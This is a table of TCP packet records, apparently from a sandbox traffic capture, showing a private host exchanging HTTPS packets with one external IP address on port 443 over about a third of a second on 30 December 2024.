Dec 30, 2024 16:16:57.419302940 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.419311047 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.419331074 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.419337034 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.419348001 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.419358969 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.419388056 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.419394970 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.419430017 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.419507980 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.419544935 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.419563055 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.419569969 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.419584990 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.419617891 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.510593891 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.510637045 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.510663033 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.510683060 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.510708094 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.510714054 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.510744095 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.510749102 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.510759115 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.510775089 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.510790110 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.510802984 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.510813951 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.510828018 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.510828972 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.510862112 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.510874987 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.510885000 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.510905981 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.510921001 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.510943890 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.510962963 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.510963917 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.510974884 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.510988951 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.511008024 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.511019945 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.511056900 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.511059999 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.511066914 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.511087894 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.511091948 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.511106014 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.511111975 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.511123896 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.511133909 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.511151075 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.511163950 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.511173010 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.511189938 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.511281013 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.511322021 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.511329889 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.511377096 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.511625051 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.511657000 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.511670113 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.511679888 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.511698961 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.511713982 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.511768103 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.511794090 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.511810064 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.511816025 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.511836052 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.511853933 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.512012959 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.512044907 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.512053967 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.512061119 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.512075901 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.512087107 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.512105942 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.512109041 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.512119055 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.512145996 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.512156963 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.512165070 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.512177944 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.512177944 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.512218952 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.512224913 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.512249947 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.512260914 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.512268066 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.512285948 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.512286901 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.512315035 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.512346029 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.512352943 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.512373924 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.512427092 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.512449026 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.512455940 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.512466908 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.512473106 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.512499094 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.512515068 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.512523890 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.512537956 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.512564898 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.512752056 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.602993965 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603056908 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603070974 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603111029 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.603113890 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603125095 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603151083 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603161097 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.603189945 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.603200912 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603230000 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603267908 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.603276014 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603291035 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603308916 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.603323936 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603342056 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.603415966 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603446007 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603458881 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.603467941 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603481054 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603490114 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.603509903 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.603514910 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603548050 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.603558064 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603600025 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.603629112 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603666067 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.603678942 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603703976 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603718042 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.603724003 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603739977 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.603756905 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.603818893 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603862047 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.603892088 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.603935003 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.604068995 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.604106903 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.604207993 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.604249001 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.604249954 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.604259968 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.604289055 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.604290009 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.604300022 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.604331017 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.604340076 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.604348898 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.604357004 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.604368925 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.604381084 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.604410887 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.604417086 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.604453087 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.604471922 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.604499102 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.604523897 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.604531050 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.604547024 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.604562044 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.604584932 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.604614973 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.604624033 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.604629993 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.604650974 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.604666948 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.604700089 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.604742050 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.604763985 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.604805946 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.604845047 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.604871988 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.604895115 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.604949951 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.604968071 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.604978085 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.605000973 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.605007887 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.605024099 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.605096102 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.605123043 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.605129004 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.605143070 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.605173111 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.605319977 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.695554018 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.695609093 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.695643902 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.695676088 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.695676088 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.695698023 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.695730925 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.695741892 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.695749998 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.695756912 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.695772886 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.695785046 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.695842981 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.695849895 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.695866108 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.695899010 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.695911884 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.695911884 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.695920944 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.695960045 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.695960045 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.695997000 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696032047 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696048021 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.696057081 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696091890 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.696091890 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.696199894 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696252108 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696258068 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.696264982 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696290016 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696305990 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.696305990 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.696316004 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696337938 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696345091 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.696377993 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696388006 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.696394920 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696417093 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696425915 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.696459055 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.696465015 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696502924 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.696546078 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696588039 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.696598053 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696633101 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696655035 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.696665049 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696676016 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.696707964 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696737051 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696758032 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.696765900 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696789026 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.696813107 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696856022 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.696863890 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696891069 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696899891 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.696923971 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.696923971 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.696932077 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.696996927 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.697010994 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.697016954 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.697045088 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.697072029 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.697099924 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.697103977 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.697145939 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.697149992 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.697155952 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.697195053 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.697195053 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.697195053 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.697208881 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.697238922 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.697254896 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.697263002 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.697280884 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.697280884 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.697293997 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.697300911 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.697354078 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.697392941 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.697442055 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.697479010 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.697518110 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.697544098 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.697551966 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.697565079 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.697613955 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.697633028 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.787938118 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.787971973 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788005114 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788075924 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.788075924 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.788080931 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788090944 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788134098 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.788134098 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.788233995 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788264990 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788306952 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.788306952 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.788317919 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788368940 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788392067 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.788397074 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788404942 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788440943 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.788440943 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.788467884 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788505077 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788537025 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.788537025 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.788544893 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788635969 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.788640022 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788649082 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788672924 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788710117 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788712978 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.788712978 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.788723946 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788772106 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.788863897 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788891077 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788928986 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.788928986 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.788938999 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788954020 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.788985014 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789010048 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.789010048 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.789017916 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789031982 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789032936 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.789102077 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789141893 CET	49704	443	192.168.2.5	169.197.85.95
